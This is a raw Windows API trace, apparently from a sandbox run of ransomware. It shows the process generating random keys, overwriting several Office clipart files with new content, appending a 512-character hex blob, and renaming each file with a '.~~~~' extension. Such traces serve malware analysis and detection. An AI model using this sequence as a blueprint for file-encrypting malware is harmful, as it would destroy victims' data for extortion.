	[0107.339] WriteFile (in: hFile=0x128, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x911a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x25dfec0*=0x911a, lpOverlapped=0x0) returned 1
	[0107.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0107.340] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.341] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.341] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.341] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.341] CloseHandle (hObject=0x128) returned 1
	[0107.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.~~~~")) returned 1
	[0107.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0107.343] GetLastError () returned 0x0
	[0107.344] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.345] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.345] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0107.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0107.345] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22733560284) returned 1
	[0107.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9a5d6d0, dwHighDateTime=0x1d60e1e)) 
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28074f8
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28074f8 | out: hHeap=0x300000) returned 1
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8728
	[0107.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.346] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.347] GetLastError () returned 0x0
	[0107.347] GetLastError () returned 0x0
	[0107.347] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.347] GetLastError () returned 0x0
	[0107.347] GetLastError () returned 0x0
	[0107.350] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffbe80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.350] WriteFile (in: hFile=0x128, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x25dfec0*=0x4180, lpOverlapped=0x0) returned 1
	[0107.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0107.352] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.352] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.352] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.352] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.352] CloseHandle (hObject=0x128) returned 1
	[0107.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.~~~~")) returned 1
	[0107.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0107.354] GetLastError () returned 0x0
	[0107.354] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.355] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.356] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0107.356] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22734587844) returned 1
	[0107.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9a83830, dwHighDateTime=0x1d60e1e)) 
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807530
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807530 | out: hHeap=0x300000) returned 1
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867058
	[0107.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.356] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.357] GetLastError () returned 0x0
	[0107.357] GetLastError () returned 0x0
	[0107.357] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.357] GetLastError () returned 0x0
	[0107.357] GetLastError () returned 0x0
	[0107.435] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd206, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.435] WriteFile (in: hFile=0x128, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x2dfa, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x25dfec0*=0x2dfa, lpOverlapped=0x0) returned 1
	[0107.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0107.435] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.436] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.436] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.436] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.436] CloseHandle (hObject=0x128) returned 1
	[0107.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.436] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.~~~~")) returned 1
	[0107.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0107.970] GetLastError () returned 0x0
	[0107.979] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.990] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0107.990] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22797994382) returned 1
	[0107.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa076f30, dwHighDateTime=0x1d60e1e)) 
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807840
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807840 | out: hHeap=0x300000) returned 1
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827970
	[0107.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.991] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.991] GetLastError () returned 0x0
	[0107.991] GetLastError () returned 0x0
	[0107.991] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.991] GetLastError () returned 0x0
	[0107.992] GetLastError () returned 0x0
	[0107.995] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9558, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.996] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x6aa8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x6aa8, lpOverlapped=0x0) returned 1
	[0107.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.997] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.997] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.997] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.997] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.997] CloseHandle (hObject=0x128) returned 1
	[0107.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.~~~~")) returned 1
	[0107.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0107.999] GetLastError () returned 0x0
	[0107.999] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.000] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.000] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.000] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22799043704) returned 1
	[0108.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa09d090, dwHighDateTime=0x1d60e1e)) 
	[0108.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807878
	[0108.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807878 | out: hHeap=0x300000) returned 1
	[0108.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0108.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827a08
	[0108.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.001] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.001] GetLastError () returned 0x0
	[0108.001] GetLastError () returned 0x0
	[0108.001] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.002] GetLastError () returned 0x0
	[0108.002] GetLastError () returned 0x0
	[0108.005] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff5b69, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.005] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa497, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xa497, lpOverlapped=0x0) returned 1
	[0108.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.006] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.006] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.007] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.007] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.007] CloseHandle (hObject=0x128) returned 1
	[0108.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0108.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.~~~~")) returned 1
	[0108.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.012] GetLastError () returned 0x0
	[0108.012] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.013] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.013] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22800344859) returned 1
	[0108.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa0c31f0, dwHighDateTime=0x1d60e1e)) 
	[0108.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28078b0
	[0108.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28078b0 | out: hHeap=0x300000) returned 1
	[0108.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0108.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827b38
	[0108.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.014] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.014] GetLastError () returned 0x0
	[0108.015] GetLastError () returned 0x0
	[0108.015] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.015] GetLastError () returned 0x0
	[0108.015] GetLastError () returned 0x0
